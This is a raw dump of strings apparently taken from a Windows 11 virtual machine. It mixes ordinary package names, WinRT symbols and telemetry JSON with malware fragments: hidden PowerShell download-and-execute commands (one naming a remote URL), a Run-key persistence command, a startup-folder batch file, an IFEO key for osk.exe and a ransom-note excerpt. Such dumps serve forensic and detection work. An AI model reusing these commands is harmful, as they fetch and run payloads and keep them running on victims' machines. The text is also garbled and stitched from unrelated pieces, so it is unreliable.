.?AU?$produce_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@
.?AU?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@
.?AU?$vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@
.?AU?$vector_view_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@
.?AU?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
CByteStreamResult<struct Windows::Foundation::IAsyncOperationWithProgress<struct Windows::Storage::Streams::IBuffer *,unsigned int>,struct Windows::Foundation::IAsyncOperationWithProgressCompletedHandler<struct Windows::Storage::Streams::IBuffer *,unsigned int> >::Invoke
DriverData=C:\Windows\System32\
LOGONSERVER=\\WINDOWS112
nappdata%\microsoft\windows\startmenu\programs\startup\run_python.bat"
WindowsPersonaCard
Windows.XGpuEjectDialog
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
pen settings|handwriting settings|ink settings|windows ink settings|F
pen settings|handwriting settings|ink settings|windows ink settings|K
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
RNCCheckboxWindows
%q\Microsoft\Windows\Start Menu\Programs\StartUp\
Windows
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
rtcshell("cmdc:\windows\system32\cmd/c"setdjcfb=
grtcshell("cmdc:\windows\system32\cmd
Microsoft.Windows.ContentDeliveryManager_cw
Vrhysidac:/windows/fonts/arial.ttfc:/users/public/bg.jpgit's vital to note that any attempts to decrypt the encrypted files independently could lead to permanent data loss.to utilize this key, visit our secure portal: 
*|%ProgramFiles%\Windows Defender Advanced Thrn
\AIT\*.ait.|%WINDIR%\System32\aitagentz
Windows.Data.Calling.CallHistory
CloudData.WindowsClient.AssetReference
Windows.Data.Calling.CallFavoritesLocalCache
Windows.Data.Calling.CallFavoriteItem
CloudData.WindowsClient.AssetReference
Windows.Data.Globalization.LanguageSettings
CloudData.WindowsClient.AssetReference
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Calling.CallFavorites
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.UnifiedTile.TileProperties
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.ContrastThemes.Sync
WindowsDeleteString
WindowsCreateStringReference
SamsungFlashDriversmetasploitSysinternalsNTFS partition!\include\PocoSAPLogonWindows User-Mode Debuggerhnetstdl.dll\National Instruments\Server principal valid for user2usVisual Click SoftwareDvwdHandleinjectallthethingsi
C:\Windows\temp\C
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe
MISC\DRAGDROP_XDOM_ACROSSWINDOWS\DISABLE!CheckedValue
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!HighRiskFileTypes
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!HighRiskFileTypes
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!DefaultValue
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!CheckedValue
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!DefaultValue
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!CheckedValue
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\ENABLE!RegPoliciesPath
\system32\qtplugin.exe
system32\hf0021.dllsethooke = %08x
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Illegal to wait on a task in a Windows Runtime STA
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
.?AV<lambda_1>@?4??OnMessagePosted@BoardFeedPage@implementation@WidgetBoard@winrt@@AEAAXAEBUIInspectable@Foundation@Windows@5@AEBUFeedProviderPostMessageEventArgs@DataModel@Feeds@45@@Z@
.?AV<lambda_2>@?1??FeedViewModel_QueryParametersUpdated@BoardFeedPage@implementation@WidgetBoard@winrt@@AEAAXAEBUIInspectable@Foundation@Windows@5@AEBUQueryParametersUpdatedEventArgs@DataModel@Feeds@45@@Z@
.?AV<lambda_1>@?1??FeedViewModel_QueryParametersUpdated@BoardFeedPage@implementation@WidgetBoard@winrt@@AEAAXAEBUIInspectable@Foundation@Windows@5@AEBUQueryParametersUpdatedEventArgs@DataModel@Feeds@45@@Z@
.?AV<lambda_2>@?4??OnMessagePosted@BoardFeedPage@implementation@WidgetBoard@winrt@@AEAAXAEBUIInspectable@Foundation@Windows@5@AEBUFeedProviderPostMessageEventArgs@DataModel@Feeds@45@@Z@
createobject("windowsinstaller.
windows.hlp
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
s\system32\cmd.exe"/min/c"
*-windowstylehidden-executionpolicybypass-command""invoke-webrequest-uri'
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.17
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.18
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.19
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.20
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
WINDOWS11
lfbalenybplymbalenybpolkitonecutbrahippe/cwarspyjayd\sachipgagx.cmdabcdefghijklmnopbrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exe
lfbvetvoprawzpvetvoppaybugamptordalkeyme/cnegdewkidt\egosecmana.cmdabcdefghijklmnopprstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exe
ZcQGle_hide=0constconsole_show=1constcmd_wait=truesetoshell=wscript.createobject("wscript.shell")oshell.run"cmd/cpowershell-executionpolicybypass-windowstylehidden
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
 Windows 
MICROSOFTWINDOWS.59379618.INPAPP_1000.26100.7824.0_X64__CW5N1H2TXYEWY
Microsoft.Windows.Shell.StorageSearch
\windows\currentversion\policies\e
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Editions-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
WindowsCopilotScenarioTest
DeviceSearch_QueryWindowsSearchIndexerAsyncInternal
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\token_helpers.h
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
Path=C:\WINDOWS\system32;
c:\windows\system32
Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.19
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~0.0.0.0
|Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.1Uc
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.1
\windows\system32\
\windows\syswow64\
pwindowsU
windows shopT
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.23
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.24
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.27
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.28
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.29
9WZDNCRFJ3PRWindows Clockhttps://store-images.s-microsoft.com/image/apps.8446.9007199266246190.7d5781be-8887-4229-a335-e66e73b442a7.1e317f8d-19fc-4900-a37a-15d8a32daca5en
9WZDNCRFJ3PRAlarmes et horloge Windowshttps://store-images.s-microsoft.com/image/apps.8446.9007199266246190.7d5781be-8887-4229-a335-e66e73b442a7.1e317f8d-19fc-4900-a37a-15d8a32daca5fr
9WZDNCRFJ3PRWindows Alarm & Uhrhttps://store-images.s-microsoft.com/image/apps.8446.9007199266246190.7d5781be-8887-4229-a335-e66e73b442a7.1e317f8d-19fc-4900-a37a-15d8a32daca5de
5SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Op
@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$root_implements@UStartupAppsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$implements@UStartupAppsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
remdownloadandexecutecomponent"%ps_exec%"-windowstylehidden-executionpolicybypass-noprofile-command"[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;$webclient=new-objectsystem.net.webclient;$webclient.downloadfile('http
','c:\\windows\\temp\\
.exe');if([system.io.file]::exists('c:\\windows\\temp\\
.exe')){start-process-filepath'c:\\windows\\temp\\
.exe'-windowstylehidden-erroractionsilentlycontinue
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
USERDOMAIN=Windows11
presswindowsbutton
/agenzia/server.exeiconfile=c:\windows\system32\shell32.dll
\windows\system32\wscript.exea\gliridaenavigability\jocundlyhardcover\haywires\cellulipetal.wsf!%systemroot%\system32\shell32.dll
new-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
'-propertytypestring-value'c:\windows\explorer.exec:\users\
c:\windows\system32\windowspowershell\v1.0\powershell.exe,-windowstylehidden$c1='(new-objectnet.we';$c4='bclient).downlo';$c3='adstring(''http://academiadedj.com/rg12.jpg'')'
{5micros~1\appdata\local\temp\{76af6501-397a-4e2c-a45f-80acdd63896b}\k1e4g6.jark1e4g6.jartc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\k1e4g6.jar
a de Windows para permitirlo.copilotupdateServicio actualizador de Microsoft CopilotServicio interno del actualizador de Microsoft CopilotMantiene actualizado el software de Microsoft Copilot. Si este servicio est
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates 
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
//ProductID><PFM>microsoft.windowssoundrecorder_8wekyb3d8bbwe</2
Windows DefenderC:\Program Files\Windows DefenderKasperskyC:\Program Files (x86)\Kaspersky LabAvastW
=%temp%\payload.exe"echo[*]n:%url%powershell-windowstylehidden-command^"try{(new-objectnet.webclient).downloadfile('%url%','%
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.PartitionInfo
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
RpcClientUtil::StopWindowsService
RpcClientUtil::DeleteWindowsService
System.Windows.Forms.UnsafeNativeMethods.IOleObject.SetExtent
System.Windows.Forms.UnsafeNativeMethods.IQuickActivate.GetContentExtent
System.Windows.Forms.UnsafeNativeMethods.IQuickActivate.SetContentExtent
WindowsFormsSetEvent
WindowsFontQualityFromTextRenderingHint
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.RangeFromPoint
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.RangeFromPoint
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragmentRoot.ElementProviderFromPoint
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
MainWindowStatusBarPalette
GetDockWindowSize
get_DefaultFloatWindowSize
set_DefaultFloatWindowSize
ShouldSerializeDefaultFloatWindowSize
ResetDefaultFloatWindowSize
MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765299923,"MaxEventTime":134163939765299923,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataService.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[12,227,108,143,36,134,225,59,114,21,18,235,243,100,228,97,225,237,115,250],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"USERDATASERVICE.dll","InternalName":"USERDATASERVICE","FileDescription":"The endpoint for 3rd party APIs to read/write user data","ProductName":"Microsoft
 Windows
6YDc:\windows\system32\cmd.exe/v:on
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
ROOT\Microsoft\Windows\Defender
ows\system32\cZ
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Product-Data-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Media-Streaming-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-TS-Optional-Client-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Windows.Data.Apps.ShortcutInfo
CloudData.WindowsClient.DisableSyncOnActivityFeed
windows.data.platform.backuprestore.deviceprofile
SensNotifyWinlogonEvent
Windows.Data.Globalization.LocaleInfo
Windows.Data.Common.Point
Windows.Data.Shell.FocusSession
Windows.Data.Platform.LocalCache.VersionedBlobReference
Windows.Data.InternetExplorer.SettingUnit
Windows.Data.Globalization.RegionalFormatOverrides
Windows.Data.Input.Text.UnigramList
Windows.Data.Platform.LocalCache.CurrentCacheEntryMetadata
Windows.Data.Messaging.KeyPathSettings
Windows.Data.Common.Color
Windows.Data.Platform.LocalCache.CurrentCacheEntry
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Calling.KeyPathSettings
Windows.Data.Platform.LocalCache.BlobReference
Windows.Data.Common.Size
Windows.Data.Apps.IconInfo
Windows.Data.Common.Rect
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.Consent.ConsentValue
